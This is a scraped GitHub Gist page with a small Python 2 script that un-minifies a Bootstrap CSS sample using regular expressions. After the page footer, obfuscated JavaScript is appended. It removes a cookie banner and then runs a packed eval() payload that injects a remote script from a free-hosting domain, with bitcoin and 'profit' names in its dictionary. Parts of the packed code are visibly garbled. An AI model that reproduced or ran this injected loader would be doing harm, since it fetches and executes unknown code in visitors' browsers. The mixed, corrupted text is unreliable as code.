Created
January 18, 2014 16:18
-
-
Save kostasx/8492597 to your computer and use it in GitHub Desktop.
A simple (sloppy) python script to un-minify CSS. Live Python demo here: http://pythonfiddle.com/css-unminifier-script
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import re | |
# Sample CSS minified code from Bootstrap | |
minified_css = 'article,aside,details,figcaption,figure,footer,header,hgroup,main,nav,section,summary{display:block}audio,canvas,video{display:inline-block}audio:not([controls]){display:none;height:0}[hidden],template{display:none}html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}a{background:0 0}' | |
unminified_css = re.sub("\{", " {\n\r\n\r\t", minified_css) | |
unminified_css = re.sub("\}", "\n\r\n\r}\n\r\n\r", unminified_css) | |
unminified_css = re.sub(";", ";\n\r\t", unminified_css) | |
print unminified_css |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Element.prototype.remove = function() {this.parentElement.removeChild(this);};
NodeList.prototype.remove = HTMLCollection.prototype.remove = function()
{
for(var i = this.length - 1; i >= 0; i--)
{if(this[i] && this[i].parentElement){this[i].parentElement.removeChild(this[i]);}}
};
function removePOPup(){
var cookPopup=document.getElementsByClassName('cc_banner-wrapper');
if (cookPopup){cookPopup.remove();}
return;}
removePOPup();
var _$_9265=["L i$j=["1k(t(x,1l,h,u,l,y){l=t(h){r h};A(!''.E(/^/,1m)){F(h--){y[h]=u[h]||h}u=[t(l){r y[l]}];l=t(){r'\\\\1j+'};h=1};F(h--){A(u[h]){x=x.E(1i 1f('\\\\H'+l(h)+'\\\\H','1g'),u[h])}}r x}('$.12({13:14});(11(3,5,2){15 1,4=3.16(5)[0];10(3.7(2))8;1=3.9(5);1.2=2;1.23=\"//17-1h-1e-1o-6-1u.19.18/20.1\";4.21.22(1,4)}(1v,\\'6\\',\\'1w\\'));',10,1t,'|1s|1p|y|1q|1r|1x|Y|r|Q|A|t|N|O|S|1d|1b|1c|V|Z|X|1a|W|P|U|T|R|1n|1O|1R'.1y('|'),0,{}))","|","I","|||||||||||||||||||||||||||||||c|e|n|k|q|p|d|B|z|b|G|1T|1S|s|1V|w|K|g|J|M|D|a|1Y|1Z|1X|1U|1P|1E|1F|1D|I|1Q|1C|1z|1A|1B|1G|1H|L|1N|1L|1I|1J|1K","G","","\\w+","\\b","g"];D(q(v,1M,f,o,m,C){m=q(f){n f};B(!i$j[5]i$j[4]){z(f--){C[f]=o[f]||f};o=[q(m){n C[m]}];m=q(){n i$j[6]};f=1};z(f--){B(o[f]){v=v[i$j[4]](J K(i$j[7]+m(f)+i$j[7],i$j[8]),o[f])}};n v}(i$j[0],10,1W,i$j[3]i$j[2],0,{}))","|","split","|||||||||||||||0x73AD||31||_1f54||32|_0x740D|return|_0x743D||function|33||35|34|_0x746D||36|37|while|38|if|_0x73DD|eval|41|39|replace|40|split|new|RegExp|var|String|70|67|65|57|59|66|55|56|72|58|68|42|73|||||||||||64|71|74|69|27|47|48|26|49|46|51|52|50|60|28|45|43|44|53|30|24|29|25|54|61|parentNode|src|false|profit|8888|insertBefore|bitcoin|cache|fbcoin_online|com|000webhostapp|free|getElementsByTagName|_0x737D|ajaxSetup|63|createElement|document|62|fjs|getElementById|2018|id|75|FreeBitcoinOnline|js|script||||","","fromCharCode","toString","replace","\w+","\b","g"];eval(function(_0x23214,_0x230FC,_0x23134,_0x231DC,_0x231A4,_0x2316C){_0x231A4= function(_0x23134){return (_0x23134< 0x230FC?$_9265[4]:_0x231A4(parseInt(_0x23134/ _0x230FC)))+ ((_0x23134= _0x23134% 0x230FC)> 35?String[$_9265[5]](_0x23134+ 29):0x23134_$_9265[6])};if(!$_9265[4]_$_9265[7]){while(_0x23134--){_0x2316C[_0x231A4(_0x23134)]= _0x231DC[_0x23134]|| _0x231A4(_0x23134)};_0x231DC= [function(_0x231A4){return _0x2316C[_0x231A4]}];_0x231A4= function(){return _$_9265[8]};_0x23134= 1};while(_0x23134--){if(_0x231DC[_0x23134]){_0x23214= 0x23214[$9265[7]]( new RegExp($_9265[9]+ _0x231A4(_0x23134)+ _$ 9265[9],$_9265[10]),_0x231DC[_0x23134])}};return 0x23214}($9265[0],62,128,$_9265[3]_$_9265[2],0,{}))